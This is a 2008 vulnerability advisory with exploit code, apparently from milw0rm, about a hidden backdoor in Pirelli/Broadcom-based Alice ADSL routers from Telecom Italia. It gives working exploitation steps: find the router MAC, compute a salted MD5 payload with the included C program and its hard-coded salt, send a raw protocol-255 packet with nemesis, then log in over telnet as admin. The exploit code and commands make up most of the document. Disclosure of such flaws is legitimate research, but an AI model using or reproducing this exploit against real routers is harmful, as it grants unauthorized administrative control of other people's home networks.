############################################################################################# saxdax & drpepperONE Discovered embedded backdoor to activate telnet/ftp/tftp/web extended admin interface with Admin privileges, from internal network lan on Alice ADSL CPE Modem/Router, manufactered by Pirelli based on Broadcom platform. ############################################################################################# saxdax & drpepperONE Router Vendor: Alice Telecom Italia CPE Modem/Routers manufactered by Pirelli based on Broadcom platform. Model Affected: AGA[Alice Gate2 plus Wi-Fi]/AGB[Alice Gate2plus]AG2P-AG3[Alice Gate W2+] /AGPV-AGPF[Alice Gate VoIP 2 Plus Wi-Fi] Firmware Version: All AGA/AGB/AG2P-AG3/AGPV-AGPF firmware version are affected. Platforms: Customized Linux version 2.6.8.1 on BroadcomBCM96348 chipset. Vulnerability: enable telnet/ftp/tftp and web-admin frominternal lan. Exploitation: internal network lan, versus Router Date: 13 Oct 2008 Authors: saxdax & drpepperONE e-mail: saxdax2@gmail.com drpepppperone@gmail.com Risk: medium>low ############################################################################################# 1) Introduction 2) Vulnerability 3) The Exploit 4) The Code 5) Fix ############################################################################################# =============== 1) Introduction =============== Telecom Italia is the most important Italian ISP offering an ADSL service named "Alice". Telecom Italia rent out with "Alice Adsl" service, different CPE Modem/Router among which the affected ones. The interface to configure these modems are made extremily poor by the provider to ensure more control. There's no way to enable telnet, ftp, tftp or more advanced web pages from the web interface. http://www.telecomitalia.com/ http://adsl.alice.it/ ############################################################################################# ================ 2) Vulnerability ================ An attacker can activate and get unauthorized access to the routers administration interface and telnet/ftp/tftp services from internal network. Every user in the LAN (or Wireless LAN) can nevertheless have access to the routers administration interface and telnet/ftp/tftp! If an attacker can get access to the administrator interface and login, he has full control over the routers configuration. ############################################################################################# ============== 3) The Exploit ============== To enable telnet/ftp/tftp and web-admin interface it is necessary send a special IP packet to router specific ip 192.168.1.1. This works only from internal LAN where an attacker have and ip like 192.168.1.XX. The ip packet send to router must have the following feature: 1)IP-protocol-number 255 (there's a RAW SOCKET listening on the router) 2)Payload size 8 byte 3)The payload are the first 8 byte of a salted md5 of the mac address of device br0 4)br0 in these modems has the same mac of eth0 When the modem receives the packet all services will be enabled. Example: >From a GNU/LINUX distrib: 1)Retrieve br0 maccaddress: arping -I eth0 -c 2 192.168.1.1 ARPING 192.168.1.1 from 192.168.1.2 eth0 Unicast reply from 192.168.1.1 [00:01:02:03:04:05] 8.419ms Unicast reply from 192.168.1.1 [00:01:02:03:04:05] 2.095ms Sent 2 probes (1 broadcast(s)) Received 2 response(s) 2)Calculate special md5 hash from br0 macaddress: create an hex 6 byte long file with the mac address. run the application below and copy the output hash. http://rapidshare.com/files/153439269/AliceBDhashCreator.zip.html 3)Send ip packet to router ip 192.168.1.1 with 8 byte paylod file (with the tool you like) i.e.: nemesis ip -D 192.168.1.1 -p 255 -P hash.hex 4)Telnet to router : telnet 192.168.1.1 BCM96348 ADSL Router Login: admin Password: ############################################################################################# =========== 4) The Code =========== /* Alice Backdoor Pwd creator by saxdax */ /* this code generates an 8 byte hash to use as the paylod of the ip packet */ /* the mac must be in an hex file and has to be passed as argument to the program */ #include #include #include #include "md5.h" /* * RFC 1321 compliant MD5 implementation * * Copyright (C) 2001-2003 Christophe Devine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #define GET_UINT32(n,b,i) \ { \ (n) = ( (uint32) (b)[(i) ] ) \ | ( (uint32) (b)[(i) + 1] << 8 ) \ | ( (uint32) (b)[(i) + 2] << 16 ) \ | ( (uint32) (b)[(i) + 3] << 24 ); \ } #define PUT_UINT32(n,b,i) \ { \ (b)[(i) ] = (uint8) ( (n) ); \ (b)[(i) + 1] = (uint8) ( (n) >> 8 ); \ (b)[(i) + 2] = (uint8) ( (n) >> 16 ); \ (b)[(i) + 3] = (uint8) ( (n) >> 24 ); \ } void md5_starts( md5_context *ctx ) { ctx->total[0] = 0; ctx->total[1] = 0; ctx->state[0] = 0x67452301; ctx->state[1] = 0xEFCDAB89; ctx->state[2] = 0x98BADCFE; ctx->state[3] = 0x10325476; } void md5_process( md5_context *ctx, uint8 data[64] ) { uint32 X[16], A, B, C, D; GET_UINT32( X[0], data, 0 ); GET_UINT32( X[1], data, 4 ); GET_UINT32( X[2], data, 8 ); GET_UINT32( X[3], data, 12 ); GET_UINT32( X[4], data, 16 ); GET_UINT32( X[5], data, 20 ); GET_UINT32( X[6], data, 24 ); GET_UINT32( X[7], data, 28 ); GET_UINT32( X[8], data, 32 ); GET_UINT32( X[9], data, 36 ); GET_UINT32( X[10], data, 40 ); GET_UINT32( X[11], data, 44 ); GET_UINT32( X[12], data, 48 ); GET_UINT32( X[13], data, 52 ); GET_UINT32( X[14], data, 56 ); GET_UINT32( X[15], data, 60 ); #define S(x,n) ((x << n) | ((x & 0xFFFFFFFF) >> (32 - n))) #define P(a,b,c,d,k,s,t) \ { \ a += F(b,c,d) + X[k] + t; a = S(a,s) + b; \ } A = ctx->state[0]; B = ctx->state[1]; C = ctx->state[2]; D = ctx->state[3]; #define F(x,y,z) (z ^ (x & (y ^ z))) P( A, B, C, D, 0, 7, 0xD76AA478 ); P( D, A, B, C, 1, 12, 0xE8C7B756 ); P( C, D, A, B, 2, 17, 0x242070DB ); P( B, C, D, A, 3, 22, 0xC1BDCEEE ); P( A, B, C, D, 4, 7, 0xF57C0FAF ); P( D, A, B, C, 5, 12, 0x4787C62A ); P( C, D, A, B, 6, 17, 0xA8304613 ); P( B, C, D, A, 7, 22, 0xFD469501 ); P( A, B, C, D, 8, 7, 0x698098D8 ); P( D, A, B, C, 9, 12, 0x8B44F7AF ); P( C, D, A, B, 10, 17, 0xFFFF5BB1 ); P( B, C, D, A, 11, 22, 0x895CD7BE ); P( A, B, C, D, 12, 7, 0x6B901122 ); P( D, A, B, C, 13, 12, 0xFD987193 ); P( C, D, A, B, 14, 17, 0xA679438E ); P( B, C, D, A, 15, 22, 0x49B40821 ); #undef F #define F(x,y,z) (y ^ (z & (x ^ y))) P( A, B, C, D, 1, 5, 0xF61E2562 ); P( D, A, B, C, 6, 9, 0xC040B340 ); P( C, D, A, B, 11, 14, 0x265E5A51 ); P( B, C, D, A, 0, 20, 0xE9B6C7AA ); P( A, B, C, D, 5, 5, 0xD62F105D ); P( D, A, B, C, 10, 9, 0x02441453 ); P( C, D, A, B, 15, 14, 0xD8A1E681 ); P( B, C, D, A, 4, 20, 0xE7D3FBC8 ); P( A, B, C, D, 9, 5, 0x21E1CDE6 ); P( D, A, B, C, 14, 9, 0xC33707D6 ); P( C, D, A, B, 3, 14, 0xF4D50D87 ); P( B, C, D, A, 8, 20, 0x455A14ED ); P( A, B, C, D, 13, 5, 0xA9E3E905 ); P( D, A, B, C, 2, 9, 0xFCEFA3F8 ); P( C, D, A, B, 7, 14, 0x676F02D9 ); P( B, C, D, A, 12, 20, 0x8D2A4C8A ); #undef F #define F(x,y,z) (x ^ y ^ z) P( A, B, C, D, 5, 4, 0xFFFA3942 ); P( D, A, B, C, 8, 11, 0x8771F681 ); P( C, D, A, B, 11, 16, 0x6D9D6122 ); P( B, C, D, A, 14, 23, 0xFDE5380C ); P( A, B, C, D, 1, 4, 0xA4BEEA44 ); P( D, A, B, C, 4, 11, 0x4BDECFA9 ); P( C, D, A, B, 7, 16, 0xF6BB4B60 ); P( B, C, D, A, 10, 23, 0xBEBFBC70 ); P( A, B, C, D, 13, 4, 0x289B7EC6 ); P( D, A, B, C, 0, 11, 0xEAA127FA ); P( C, D, A, B, 3, 16, 0xD4EF3085 ); P( B, C, D, A, 6, 23, 0x04881D05 ); P( A, B, C, D, 9, 4, 0xD9D4D039 ); P( D, A, B, C, 12, 11, 0xE6DB99E5 ); P( C, D, A, B, 15, 16, 0x1FA27CF8 ); P( B, C, D, A, 2, 23, 0xC4AC5665 ); #undef F #define F(x,y,z) (y ^ (x | ~z)) P( A, B, C, D, 0, 6, 0xF4292244 ); P( D, A, B, C, 7, 10, 0x432AFF97 ); P( C, D, A, B, 14, 15, 0xAB9423A7 ); P( B, C, D, A, 5, 21, 0xFC93A039 ); P( A, B, C, D, 12, 6, 0x655B59C3 ); P( D, A, B, C, 3, 10, 0x8F0CCC92 ); P( C, D, A, B, 10, 15, 0xFFEFF47D ); P( B, C, D, A, 1, 21, 0x85845DD1 ); P( A, B, C, D, 8, 6, 0x6FA87E4F ); P( D, A, B, C, 15, 10, 0xFE2CE6E0 ); P( C, D, A, B, 6, 15, 0xA3014314 ); P( B, C, D, A, 13, 21, 0x4E0811A1 ); P( A, B, C, D, 4, 6, 0xF7537E82 ); P( D, A, B, C, 11, 10, 0xBD3AF235 ); P( C, D, A, B, 2, 15, 0x2AD7D2BB ); P( B, C, D, A, 9, 21, 0xEB86D391 ); #undef F ctx->state[0] += A; ctx->state[1] += B; ctx->state[2] += C; ctx->state[3] += D; } void md5_update( md5_context *ctx, uint8 *input, uint32 length ) { uint32 left, fill; if( ! length ) return; left = ctx->total[0] & 0x3F; fill = 64 - left; ctx->total[0] += length; ctx->total[0] &= 0xFFFFFFFF; if( ctx->total[0] < length ) ctx->total[1]++; if( left && length >= fill ) { memcpy( (void *) (ctx->buffer + left), (void *) input, fill ); md5_process( ctx, ctx->buffer ); length -= fill; input += fill; left = 0; } while( length >= 64 ) { md5_process( ctx, input ); length -= 64; input += 64; } if( length ) { memcpy( (void *) (ctx->buffer + left), (void *) input, length ); } } static uint8 md5_padding[64] = { 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; void md5_finish( md5_context *ctx, uint8 digest[16] ) { uint32 last, padn; uint32 high, low; uint8 msglen[8]; high = ( ctx->total[0] >> 29 ) | ( ctx->total[1] << 3 ); low = ( ctx->total[0] << 3 ); PUT_UINT32( low, msglen, 0 ); PUT_UINT32( high, msglen, 4 ); //for(int i=0;i<8;i++) printf("length %d\n",msglen[i]); last = ctx->total[0] & 0x3F; padn = ( last < 56 ) ? ( 56 - last ) : ( 120 - last ); md5_update( ctx, md5_padding, padn ); md5_update( ctx, msglen, 8 ); PUT_UINT32( ctx->state[0], digest, 0 ); PUT_UINT32( ctx->state[1], digest, 4 ); PUT_UINT32( ctx->state[2], digest, 8 ); PUT_UINT32( ctx->state[3], digest, 12 ); } //#ifdef TEST /* * those are the standard RFC 1321 test vectors */ static char *msg[] = { "", "a", "abc", "message digest", "abcdefghijklmnopqrstuvwxyz", "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789", "12345678901234567890123456789012345678901234567890123456789012" \ "345678901234567890" }; static char *val[] = { "d41d8cd98f00b204e9800998ecf8427e", "0cc175b9c0f1b6a831c399e269772661", "900150983cd24fb0d6963f7d28e17f72", "f96b697d7cb7938d525a2f31aaf161d0", "c3fcd3d76192e4007dfb496cca67e13b", "d174ab98d277d9f5a5611c2c9f419d9f", "57edf4a22be3c955ac49da2e2107b67a" }; static char saltOrig[] = {0x04, 0x07, 0x67, 0x10, 0x02, 0x81, 0xFA, 0x66, 0x11, 0x41, 0x68, 0x11, 0x17, 0x01, 0x05, 0x22, 0x71, 0x04, 0x10, 0x33}; int main( int argc, char *argv[] ) { FILE *f; int i, j; char output[33]; md5_context ctx; unsigned char buf[1000]; unsigned char md5sum[16]; unsigned char salt[20]; printf( "****************************\n"); printf( "Alice BackDoor hash creator \n"); printf( "by saxdax and drPepperOne \n"); printf( "****************************\n\n"); if( argc < 2 ) { printf( "\n Usage: %s pathfileMAC\n\n", argv[0] ); return 0; } if( ! ( f = fopen( argv[1], "rb" ) ) ) { perror( "fopen" ); return( 1 ); } md5_starts( &ctx ); while( ( i = fread( buf, 1, sizeof( buf ), f ) ) > 0 ) { md5_update( &ctx, buf, i ); } memcpy(salt, saltOrig, 20); md5_update( &ctx, salt, 20 ); md5_finish( &ctx, md5sum ); printf("Payload is: "); for( j = 0; j < 8; j++ ) { printf( "%02x", md5sum[j] ); } return( 0 ); } ############################################################################################# ====== 5) Fix ====== Atcualy at 13 Oct 2008 NO FIX available. ############################################################################################# # milw0rm.com [2008-10-14]